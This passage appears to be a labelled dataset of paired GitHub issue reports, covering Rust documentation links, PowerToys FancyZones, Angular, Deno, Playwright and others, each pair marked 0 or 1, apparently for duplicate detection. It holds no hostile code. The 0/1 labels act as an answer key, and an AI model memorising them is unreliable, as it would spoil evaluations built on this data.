class="notranslate">&lt;meta name="robots" content="noindex"&gt;</code> in the documentation in tarballs, which would completely prevent them from getting indexed. This tag would of course need to not be in the doc.rust-lang.org version; I don't know if this would be difficult.</p> <p dir="auto">I could probably create a PR if that would be helpful, but I'm not at all familiar with the doc generation and release tarball creation process.</p>
<p dir="auto">When multiple versions of the documentation are available, it tends to pollute google results. As a way to prevent that, it would be good to always have the latest stable release available under /current/, and have all previous versions + the master docs contain canonical links to the current docs like:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;link rel=&quot;canonical&quot; href=&quot;http://.../current/...&quot; /&gt;"><pre class="notranslate"><code class="notranslate">&lt;link rel="canonical" href="http://.../current/..." /&gt; </code></pre></div> <p dir="auto">That way it consolidates all results under the current URL which will always be correct, and it also encourages people linking to docs in blog posts and such to use links that will not rot.</p> <p dir="auto">/cc <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexcrichton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexcrichton">@alexcrichton</a></p>
1
<h1 dir="auto">Environment</h1> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Windows build number: Microsoft Windows [Version 10.0.19613.1005] PowerToys version: 0.19.1 PowerToy module for which you are reporting the bug (if applicable): FancyZones"><pre class="notranslate"><code class="notranslate">Windows build number: Microsoft Windows [Version 10.0.19613.1005] PowerToys version: 0.19.1 PowerToy module for which you are reporting the bug (if applicable): FancyZones </code></pre></div> <h1 dir="auto">Steps to reproduce</h1> <p dir="auto">Use the SHIFT feature of Fancy Zones and place window in any position that's next to the taskbar.</p> <h1 dir="auto">Expected behavior</h1> <p dir="auto">The window does not clip into the taskbar area.</p> <h1 dir="auto">Actual behavior</h1> <p dir="auto">The window goes below the taskbar where I cant click it anymore.</p> <h1 dir="auto">Screenshots</h1> <p dir="auto"><a href="https://imgur.com/a/0uGRHWQ" rel="nofollow">https://imgur.com/a/0uGRHWQ</a></p>
<h1 dir="auto">Environment</h1> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Windows build number: 10.0.18363.900 PowerToys version: 0.19.0 PowerToy module for which you are reporting the bug (if applicable): FancyZones Monitor(s): 2 side-by-side 4K monitors (one set to display scaling 100% and the other to 125%)"><pre class="notranslate"><code class="notranslate">Windows build number: 10.0.18363.900 PowerToys version: 0.19.0 PowerToy module for which you are reporting the bug (if applicable): FancyZones Monitor(s): 2 side-by-side 4K monitors (one set to display scaling 100% and the other to 125%) </code></pre></div> <h1 dir="auto">Steps to reproduce</h1> <ul dir="auto"> <li>Set Windows taskbar location to <em>Top</em></li> <li>Snap a window to a FancyZone (2 priority grid zones in my case)</li> </ul> <h1 dir="auto">Expected behavior</h1> <p dir="auto">The window should snap to the <em>full-height</em> of the FancyZone <em>below</em> the task bar</p> <h1 dir="auto">Actual behavior</h1> <ul dir="auto"> <li>The window snaps <em>behind</em> the task bar (as shown with the green arrows)</li> <li>The window leaves a <em>gap</em> underneath each window (as shown with the red arrows), which exposes the desktop background underneath</li> </ul> <h1 dir="auto">Screenshots</h1> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/25905330/86352863-c110a100-bc66-11ea-95ff-f5a876357ef6.png"><img src="https://user-images.githubusercontent.com/25905330/86352863-c110a100-bc66-11ea-95ff-f5a876357ef6.png" alt="image" style="max-width: 100%;"></a></p>
1
<p dir="auto">How hard would it be to hash incoming string values, or use the LabelEncoder internally?</p> <p dir="auto">I'd be willing to contribute some code for this if there are no outstanding design blockers.</p> <p dir="auto">/cc <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jnothman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jnothman">@jnothman</a></p>
<p dir="auto">The following loop is embarrassingly parallel:</p> <p dir="auto"><a href="https://github.com/scikit-learn/scikit-learn/blob/master/sklearn/ensemble/gradient_boosting.py#L552">https://github.com/scikit-learn/scikit-learn/blob/master/sklearn/ensemble/gradient_boosting.py#L552</a></p> <p dir="auto">Edit: I (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ogrisel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ogrisel">@ogrisel</a>) removed the Easy tag and put a Moderate tag instead. Based on the discussion below the most beneficial way to add <code class="notranslate">n_jobs</code> support for GBRT would be deep inside the Cython tree code (to benefit GB regression and adaboost models as wells instead of just GB classification).</p>
0
<p dir="auto">Currently it is impossible to access owner's fields from a nested aggregation. So it is not possible to do following:</p> <ul dir="auto"> <li>Bucket aggregations on them (a very common use case) as a sub aggregation of the nested one. For example If multiple lawyers are assigned to cases of different types and each assignment captures his/her hours spent and report needs to be total hours by lawyer by case type. It is impossible to do so. Using reverse_nested and back will not produce desired results</li> <li>Filter on owner's fields within aggregations.</li> <li>Metrics aggregations on owner's fields are a little less useful as there will be double-counting but often are necessary as well</li> </ul>
<p dir="auto">Currently it is impossible to access owner's fields from a nested aggregation. So it is not possible to do following:</p> <ul dir="auto"> <li>Bucket aggregations on them (a very common use case) as a sub aggregation of the nested one. For example If multiple lawyers are assigned to cases of different types and each assignment captures his/her hours spent and report needs to be total hours by lawyer by case type. It is impossible to do so. Using reverse_nested and back will not produce desired results</li> <li>Filter on owner's fields within aggregations.</li> <li>Metrics aggregations on owner's fields are a little less useful as there will be double-counting but often are necessary as well</li> </ul>
1
<p dir="auto">Running <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/timholy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/timholy">@timholy</a> 's test case from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="108756041" data-permission-text="Title is private" data-url="https://github.com/JuliaLang/julia/issues/13350" data-hovercard-type="issue" data-hovercard-url="/JuliaLang/julia/issues/13350/hovercard" href="https://github.com/JuliaLang/julia/issues/13350">#13350</a>:</p> <p dir="auto">commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/JuliaLang/julia/commit/7dcc01be36a854bf95915f1cdf157df7c722ea68/hovercard" href="https://github.com/JuliaLang/julia/commit/7dcc01be36a854bf95915f1cdf157df7c722ea68"><tt>7dcc01b</tt></a>:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Without parentheses: 0.567878 seconds (16.01 M allocations: 488.552 MB, 5.03% gc time) With parentheses: 0.421889 seconds (11 allocations: 480 bytes)"><pre class="notranslate"><code class="notranslate">Without parentheses: 0.567878 seconds (16.01 M allocations: 488.552 MB, 5.03% gc time) With parentheses: 0.421889 seconds (11 allocations: 480 bytes) </code></pre></div> <p dir="auto">commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/JuliaLang/julia/commit/8ce7a02f6bed51a09600307f395d8c6887f0f104/hovercard" href="https://github.com/JuliaLang/julia/commit/8ce7a02f6bed51a09600307f395d8c6887f0f104"><tt>8ce7a02</tt></a></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Without parentheses: 2.149215 seconds (70.01 M allocations: 1.654 GB, 5.22% gc time) With parentheses: 2.251477 seconds (74.00 M allocations: 1.773 GB, 5.45% gc time)"><pre class="notranslate"><code class="notranslate">Without parentheses: 2.149215 seconds (70.01 M allocations: 1.654 GB, 5.22% gc time) With parentheses: 2.251477 seconds (74.00 M allocations: 1.773 GB, 5.45% gc time) </code></pre></div> <p dir="auto">cc <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vtjnash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vtjnash">@vtjnash</a></p>
<p dir="auto">Using the ForwardDiff package it seems that type inference can figure out the result of an operation fine on 0.4.1 but not on 0.5.</p> <p dir="auto">As an example:</p> <p dir="auto">On 0.4.1:</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="julia&gt; Base.return_types(*, (ForwardDiff.GradientNumber{2,Float64,Tuple{Float64,Float64}},Float64)) 1-element Array{Any,1}: ForwardDiff.GradientNumber{2,Float64,Tuple{Float64,Float64}}"><pre class="notranslate">julia<span class="pl-k">&gt;</span> Base<span class="pl-k">.</span><span class="pl-c1">return_types</span>(<span class="pl-k">*</span>, (ForwardDiff<span class="pl-k">.</span>GradientNumber{<span class="pl-c1">2</span>,Float64,Tuple{Float64,Float64}},Float64)) <span class="pl-c1">1</span><span class="pl-k">-</span>element Array{Any,<span class="pl-c1">1</span>}<span class="pl-k">:</span> ForwardDiff<span class="pl-k">.</span>GradientNumber{<span class="pl-c1">2</span>,Float64,Tuple{Float64,Float64}}</pre></div> <p dir="auto">On latest 0.5:</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="julia&gt; Base.return_types(*, (ForwardDiff.GradientNumber{2,Float64,Tuple{Float64,Float64}},Float64)) 1-element Array{Any,1}: ForwardDiff.GradientNumber{N,T,C}"><pre class="notranslate">julia<span class="pl-k">&gt;</span> Base<span class="pl-k">.</span><span class="pl-c1">return_types</span>(<span class="pl-k">*</span>, (ForwardDiff<span class="pl-k">.</span>GradientNumber{<span class="pl-c1">2</span>,Float64,Tuple{Float64,Float64}},Float64)) <span class="pl-c1">1</span><span class="pl-k">-</span>element Array{Any,<span class="pl-c1">1</span>}<span class="pl-k">:</span> ForwardDiff<span class="pl-k">.</span>GradientNumber{N,T,C}</pre></div> <p dir="auto">A (low res) screenshot of warntype where the colors are visible:<br> <a href="http://i.imgur.com/u17xqPI.png" rel="nofollow">http://i.imgur.com/u17xqPI.png</a></p>
1
<p dir="auto"><strong>I'm submitting a ...</strong> (check one with "x")</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[x] bug report"><pre class="notranslate"><code class="notranslate">[x] bug report </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> I have a file in which i try to run the compiler and it gives me the following error, but only with that one, with any other component it works as expected:</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="TypeError: Cannot read property 'getSymbolsInScope' of undefined at MetadataCollector.getMetadata (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/tsc-wrapped/src/collector.js:149:34) at ReflectorHost.getMetadataFor (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/reflector_host.js:156:47) at StaticReflector.getModuleMetadata (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/static_reflector.js:424:40) at CodeGenerator.readComponents (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:44:51) at generateOneFile (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:100:38) at Array.map (native) at CodeGenerator.codegen (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:127:14)"><pre class="notranslate">TypeError: Cannot <span class="pl-c1">read</span> property <span class="pl-s"><span class="pl-pds">'</span>getSymbolsInScope<span class="pl-pds">'</span></span> of undefined at MetadataCollector.getMetadata (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/tsc-wrapped/src/collector.js:149:34) at ReflectorHost.getMetadataFor (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/reflector_host.js:156:47) at StaticReflector.getModuleMetadata (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/static_reflector.js:424:40) at CodeGenerator.readComponents (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:44:51) at generateOneFile (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:100:38) at Array.map (native) at CodeGenerator.codegen (/Users/aplicaciones2/Documents/Ng2WebpackProStarter/node_modules/@angular/compiler-cli/src/codegen.js:127:14)</pre></div> <p dir="auto"><strong>Expected/desired behavior</strong><br> I expected at least a correct compilation with the following root app component:</p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="/* * Angular 2 decorators and services */ import { Component, ViewEncapsulation } from '@angular/core'; import { AppState } from './app.service'; /* * App Component * Top Level Component */ @Component({ selector: 'app', encapsulation: ViewEncapsulation.None, styleUrls: [ './app.style.scss' ], template: ` &lt;nav&gt; &lt;span&gt; &lt;a [routerLink]=&quot; ['./'] &quot;&gt; Index &lt;/a&gt; &lt;/span&gt; | &lt;span&gt; &lt;a [routerLink]=&quot; ['./home'] &quot;&gt; Home &lt;/a&gt; &lt;/span&gt; | &lt;span&gt; &lt;a [routerLink]=&quot; ['./about'] &quot;&gt; About &lt;/a&gt; &lt;/span&gt; &lt;/nav&gt; &lt;main&gt; &lt;router-outlet&gt;&lt;/router-outlet&gt; &lt;/main&gt; &lt;pre class=&quot;app-state&quot;&gt;this.appState.state = {{ appState.state | json }}&lt;/pre&gt; &lt;footer&gt; &lt;span&gt;WebPack Angular 2 Starter by &lt;a [href]=&quot;url&quot;&gt;@AngularClass&lt;/a&gt;&lt;/span&gt; &lt;div&gt; &lt;a [href]=&quot;url&quot;&gt; &lt;img [src]=&quot;angularclassLogo&quot; width=&quot;25%&quot;&gt; &lt;/a&gt; &lt;/div&gt; &lt;/footer&gt; ` }) export class App { angularclassLogo = 'assets/img/angularclass-avatar.png'; name = 'Angular 2 Webpack Starter'; url = 'https://twitter.com/AngularClass'; constructor( public appState: AppState ) {} ngOnInit() { console.log('Initial App State', this.appState.state); } } "><pre class="notranslate"><span class="pl-c">/*</span> <span class="pl-c"> * Angular 2 decorators and services</span> <span class="pl-c"> */</span> <span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-v">Component</span><span class="pl-kos">,</span> <span class="pl-v">ViewEncapsulation</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'@angular/core'</span><span class="pl-kos">;</span> <span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-v">AppState</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'./app.service'</span><span class="pl-kos">;</span> <span class="pl-c">/*</span> <span class="pl-c"> * App Component</span> <span class="pl-c"> * Top Level Component</span> <span class="pl-c"> */</span> @<span class="pl-v">Component</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">selector</span>: <span class="pl-s">'app'</span><span class="pl-kos">,</span> <span class="pl-c1">encapsulation</span>: <span class="pl-v">ViewEncapsulation</span><span class="pl-kos">.</span><span class="pl-c1">None</span><span class="pl-kos">,</span> <span class="pl-c1">styleUrls</span>: <span class="pl-kos">[</span> <span class="pl-s">'./app.style.scss'</span> <span class="pl-kos">]</span><span class="pl-kos">,</span> <span class="pl-c1">template</span>: <span class="pl-s">`</span> <span class="pl-s"> &lt;nav&gt;</span> <span class="pl-s"> &lt;span&gt;</span> <span class="pl-s"> &lt;a [routerLink]=" ['./'] "&gt;</span> <span class="pl-s"> Index</span> <span class="pl-s"> &lt;/a&gt;</span> <span class="pl-s"> &lt;/span&gt;</span> <span class="pl-s"> |</span> <span class="pl-s"> &lt;span&gt;</span> <span class="pl-s"> &lt;a [routerLink]=" ['./home'] "&gt;</span> <span class="pl-s"> Home</span> <span class="pl-s"> &lt;/a&gt;</span> <span class="pl-s"> &lt;/span&gt;</span> <span class="pl-s"> |</span> <span class="pl-s"> &lt;span&gt;</span> <span class="pl-s"> &lt;a [routerLink]=" ['./about'] "&gt;</span> <span class="pl-s"> About</span> <span class="pl-s"> &lt;/a&gt;</span> <span class="pl-s"> &lt;/span&gt;</span> <span class="pl-s"> &lt;/nav&gt;</span> <span class="pl-s"></span> <span class="pl-s"> &lt;main&gt;</span> <span class="pl-s"> &lt;router-outlet&gt;&lt;/router-outlet&gt;</span> <span class="pl-s"> &lt;/main&gt;</span> <span class="pl-s"></span> <span class="pl-s"> &lt;pre class="app-state"&gt;this.appState.state = {{ appState.state | json }}&lt;/pre&gt;</span> <span class="pl-s"></span> <span class="pl-s"> &lt;footer&gt;</span> <span class="pl-s"> &lt;span&gt;WebPack Angular 2 Starter by &lt;a [href]="url"&gt;@AngularClass&lt;/a&gt;&lt;/span&gt;</span> <span class="pl-s"> &lt;div&gt;</span> <span class="pl-s"> &lt;a [href]="url"&gt;</span> <span class="pl-s"> &lt;img [src]="angularclassLogo" width="25%"&gt;</span> <span class="pl-s"> &lt;/a&gt;</span> <span class="pl-s"> &lt;/div&gt;</span> <span class="pl-s"> &lt;/footer&gt;</span> <span class="pl-s"> `</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-k">export</span> <span class="pl-k">class</span> <span class="pl-v">App</span> <span class="pl-kos">{</span> <span class="pl-c1">angularclassLogo</span> <span class="pl-c1">=</span> <span class="pl-s">'assets/img/angularclass-avatar.png'</span><span class="pl-kos">;</span> <span class="pl-c1">name</span> <span class="pl-c1">=</span> <span class="pl-s">'Angular 2 Webpack Starter'</span><span class="pl-kos">;</span> <span class="pl-c1">url</span> <span class="pl-c1">=</span> <span class="pl-s">'https://twitter.com/AngularClass'</span><span class="pl-kos">;</span> <span class="pl-en">constructor</span><span class="pl-kos">(</span> <span class="pl-s1">public</span> <span class="pl-s1">appState</span>: <span class="pl-v">AppState</span> <span class="pl-kos">)</span> <span class="pl-kos">{</span><span class="pl-kos">}</span> <span class="pl-en">ngOnInit</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'Initial App State'</span><span class="pl-kos">,</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">appState</span><span class="pl-kos">.</span><span class="pl-c1">state</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span> <span class="pl-kos">}</span></pre></div> <p dir="auto"><strong>Reproduction of the problem</strong><br> This is the project in which i'm trying to make the compiler work, checkout the <code class="notranslate">ng2-stc</code> branch, install and run <code class="notranslate">node_modules/.bin/ngc -p src/app/app.component.ts</code>.</p> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong><br> Fix the compilation for the app component to generate the factory and take advantage of the <code class="notranslate">Static Template Compiler</code> feature in Ng2.</p> <p dir="auto"><strong>Please tell us about your environment:</strong></p> <ul dir="auto"> <li><strong>Angular version:</strong> 2.0.0-rc.3</li> <li><strong>Browser:</strong> Not applicable, error in cli (terminal).</li> <li><strong>Language:</strong> TypeScript ^1.9.0-dev.20160627-1.0</li> </ul>
<p dir="auto">Angular2 Http seems to ignore 'set-cookie' http response headers:<br> When making a simple call to a service with the angular2 Http module and the server responds with a 'set-cookie' header like this:</p> <p dir="auto">set-cookie:ldapid=koen; Domain=.localhost; Expires=Sat, 14-Nov-2015 16:32:06 GMT; Path=/<br> set-cookie:voucher=b71d3c81-97bb-4833-a3dd-55b3eff07554; Domain=.localhost; Expires=Sat, 14-Nov-2015 16:32:06 GMT; Path=/</p> <p dir="auto">Any subsequent calls to the service (same host / same path) seem to ignore the fact that the server has set these cookies for that domain because the relevant cookies do not show up on the headers of the outgoing http requests. (according to http trace seen in browser and on the network)</p> <p dir="auto">... or am I missing something?</p>
0
<p dir="auto"><strong>Context:</strong></p> <ul dir="auto"> <li>Playwright Version: Latest</li> <li>Operating System: Mac</li> <li>Node.js version: Latest</li> <li>Browser: Chromnium</li> <li>Extra: Playwright Test for VSCode v0.2.10</li> </ul> <p dir="auto"><strong>Describe the bug</strong></p> <p dir="auto">Whenever I start using Playwright Inspector, it keeps opening Google Search webpage after I close and open the window.</p> <p dir="auto">Video is attached.</p> <details open="" class="details-reset border rounded-2"> <summary class="px-3 py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-device-camera-video"> <path d="M16 3.75v8.5a.75.75 0 0 1-1.136.643L11 10.575v.675A1.75 1.75 0 0 1 9.25 13h-7.5A1.75 1.75 0 0 1 0 11.25v-6.5C0 3.784.784 3 1.75 3h7.5c.966 0 1.75.784 1.75 1.75v.675l3.864-2.318A.75.75 0 0 1 16 3.75Zm-6.5 1a.25.25 0 0 0-.25-.25h-7.5a.25.25 0 0 0-.25.25v6.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-6.5ZM11 8.825l3.5 2.1v-5.85l-3.5 2.1Z"></path> </svg> <span aria-label="Video description Screen.Recording.2022-09-16.at.15.40.25.mov" class="m-1">Screen.Recording.2022-09-16.at.15.40.25.mov</span> <span class="dropdown-caret"></span> </summary> <video src="https://user-images.githubusercontent.com/110459758/190595837-8d7311f2-5bdf-4feb-b119-5ecfc7158011.mov" data-canonical-src="https://user-images.githubusercontent.com/110459758/190595837-8d7311f2-5bdf-4feb-b119-5ecfc7158011.mov" controls="controls" muted="muted" class="d-block rounded-bottom-2 border-top width-fit" style="max-height:640px; min-height: 200px"> </video> </details> <p dir="auto">Please have a look at it. Thanks!</p>
<p dir="auto">Good Morning Playwright Team. I face an issue on Playwright where my green arrow button cannot be found. Could you assist me on this matter? (Shown in the photo below this sentence) Thank you so much for your assistance. I really appreciate it.</p> <a target="_blank" rel="noopener noreferrer" href="https://user-images.githubusercontent.com/129363773/241830517-aab0e33f-baa1-47af-9e11-76f0d1cdfef0.png"><img width="1279" alt="Playwright Screenshot(No play button)" src="https://user-images.githubusercontent.com/129363773/241830517-aab0e33f-baa1-47af-9e11-76f0d1cdfef0.png" style="max-width: 100%;"></a> <h3 dir="auto">System info</h3> <ul dir="auto"> <li>Playwright Version: [v1.XX]</li> <li>Operating System: [All, Windows 11, Ubuntu 20, macOS 13.2, etc.]</li> <li>Browser: [All, Chromium, Firefox, WebKit]</li> <li>Other info:</li> </ul> <h3 dir="auto">Source code</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I provided exact source code that allows reproducing the issue locally.</li> </ul> <p dir="auto"><strong>Link to the GitHub repository with the repro</strong></p> <p dir="auto">[https://github.com/your_profile/playwright_issue_title]</p> <p dir="auto">or</p> <p dir="auto"><strong>Config file</strong></p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="// playwright.config.ts import { defineConfig, devices } from '@playwright/test'; export default defineConfig({ projects: [ { name: 'chromium', use: { ...devices['Desktop Chrome'], }, }, });"><pre class="notranslate"><span class="pl-c">// playwright.config.ts</span> <span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">defineConfig</span><span class="pl-kos">,</span> <span class="pl-s1">devices</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'@playwright/test'</span><span class="pl-kos">;</span> <span class="pl-k">export</span> <span class="pl-k">default</span> <span class="pl-en">defineConfig</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">projects</span>: <span class="pl-kos">[</span> <span class="pl-kos">{</span> <span class="pl-c1">name</span>: <span class="pl-s">'chromium'</span><span class="pl-kos">,</span> <span class="pl-c1">use</span>: <span class="pl-kos">{</span> ...<span class="pl-s1">devices</span><span class="pl-kos">[</span><span class="pl-s">'Desktop Chrome'</span><span class="pl-kos">]</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">,</span><span class="pl-kos"></span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span></pre></div> <p dir="auto"><strong>Test file (self-contained)</strong></p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="it('should check the box using setChecked', async ({ page }) =&gt; { await page.setContent(`&lt;input id='checkbox' type='checkbox'&gt;&lt;/input&gt;`); await page.getByRole('checkbox').check(); await expect(page.getByRole('checkbox')).toBeChecked(); });"><pre class="notranslate"><span class="pl-en">it</span><span class="pl-kos">(</span><span class="pl-s">'should check the box using setChecked'</span><span class="pl-kos">,</span> <span class="pl-k">async</span> <span class="pl-kos">(</span><span class="pl-kos">{</span> page <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-k">await</span> <span class="pl-s1">page</span><span class="pl-kos">.</span><span class="pl-en">setContent</span><span class="pl-kos">(</span><span class="pl-s">`&lt;input id='checkbox' type='checkbox'&gt;&lt;/input&gt;`</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-k">await</span> <span class="pl-s1">page</span><span class="pl-kos">.</span><span class="pl-en">getByRole</span><span class="pl-kos">(</span><span class="pl-s">'checkbox'</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">check</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-k">await</span> <span class="pl-en">expect</span><span class="pl-kos">(</span><span class="pl-s1">page</span><span class="pl-kos">.</span><span class="pl-en">getByRole</span><span class="pl-kos">(</span><span class="pl-s">'checkbox'</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toBeChecked</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span></pre></div> <p dir="auto"><strong>Steps</strong></p> <ul dir="auto"> <li>[Run the test]</li> <li>[...]</li> </ul> <p dir="auto"><strong>Expected</strong></p> <p dir="auto">[Describe expected behavior]</p> <p dir="auto"><strong>Actual</strong></p> <p dir="auto">[Describe actual behavior]</p>
0
<p dir="auto">Now <code class="notranslate">deno check</code> command provides two options in terms of how many modules it's going to typecheck.</p> <ul dir="auto"> <li>no option: only local modules are typechecked</li> <li><code class="notranslate">--all</code>: all modules including remote are typechecked</li> </ul> <p dir="auto">This suffices in almost all use cases, but it's going to be complicated if we want to perform typecheck within the project that vendors external dependencies using <code class="notranslate">deno vendor</code>. Vendored dependencies are considered "local" so <code class="notranslate">deno check</code> will check for vendored ones as well. This is sometimes troublesome if vendored dependencies have type errors that are known and acceptable.</p> <p dir="auto">So it would be great if we could have a new option, let's say <code class="notranslate">--ignore=&lt;ignore&gt;</code>, that make the type checker ignore type errors happening in the specified files. This way, specifying <code class="notranslate">--ignore=vendor/</code> will allow us to ignore vendored dependencies.</p>
<p dir="auto">I have third party dependencies that work with the default <code class="notranslate">--no-check=remote</code> option. However once I vendor them and updating <code class="notranslate">deno.json</code> to use the <code class="notranslate">vendor/import_map.json</code>, I start getting errors type errors. It appears the only workaround for having my dependencies vendored is to run <code class="notranslate">deno run</code> and <code class="notranslate">deno test</code> with the <code class="notranslate">--no-check</code> flag to disable all checking. I'd like to have checking for my other local files when I run <code class="notranslate">deno test</code>. According to the most recent release <a href="https://deno.com/blog/v1.22#default-type-checking-behavior-has-been-updated" rel="nofollow">blog post</a>, it looks like it's planned to keep local type checking for <code class="notranslate">deno test</code> and to remove it for <code class="notranslate">deno run</code>.</p> <p dir="auto">In our <code class="notranslate">deno.json</code> file we can configure <code class="notranslate">deno lint</code> and <code class="notranslate">deno fmt</code> to exclude files and directories. It would be nice if we could do the same with deno's type checking so that we can disable it for the vendor directory generated by <code class="notranslate">deno vendor</code>. That would allow me to use <code class="notranslate">deno vendor</code> without giving up type checking when I run my tests.</p> <p dir="auto">Below is an example of one of the type errors I get related to my vendored dependencies. I don't get the type error when not using vendored dependencies.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="error: TS2339 [ERROR]: Property 'spawn' does not exist on type 'typeof Deno'. 'Deno.spawn' is an unstable API. Did you forget to run with the '--unstable' flag? const { status, stderr } = await Deno.spawn(Deno.execPath(), { ~~~~~ at file:///home/kyle/Projects/deno/udibo/vendor/deno.land/[email protected]/node/_utils.ts:228:41"><pre class="notranslate"><code class="notranslate">error: TS2339 [ERROR]: Property 'spawn' does not exist on type 'typeof Deno'. 'Deno.spawn' is an unstable API. Did you forget to run with the '--unstable' flag? const { status, stderr } = await Deno.spawn(Deno.execPath(), { ~~~~~ at file:///home/kyle/Projects/deno/udibo/vendor/deno.land/[email protected]/node/_utils.ts:228:41 </code></pre></div>
1
<p dir="auto">Describe what you were doing when the bug occurred:</p> <ol dir="auto"> <li>Recording with the Profiler</li> <li>Clicking on the "Ranked Chart"</li> </ol> <hr> <h2 dir="auto">Please do not remove the text below this line</h2> <p dir="auto">DevTools version: 4.2.1-3816ae7c3</p> <p dir="auto">Call stack: at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40:157108<br> at Map.forEach ()<br> at commitIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40:157054)<br> at e.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40:157577)<br> at vl (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40:314907)<br> at gi (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32:59907)<br> at el (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32:68139)<br> at jl (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32:108547)<br> at Lc (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32:92715)<br> at Pc 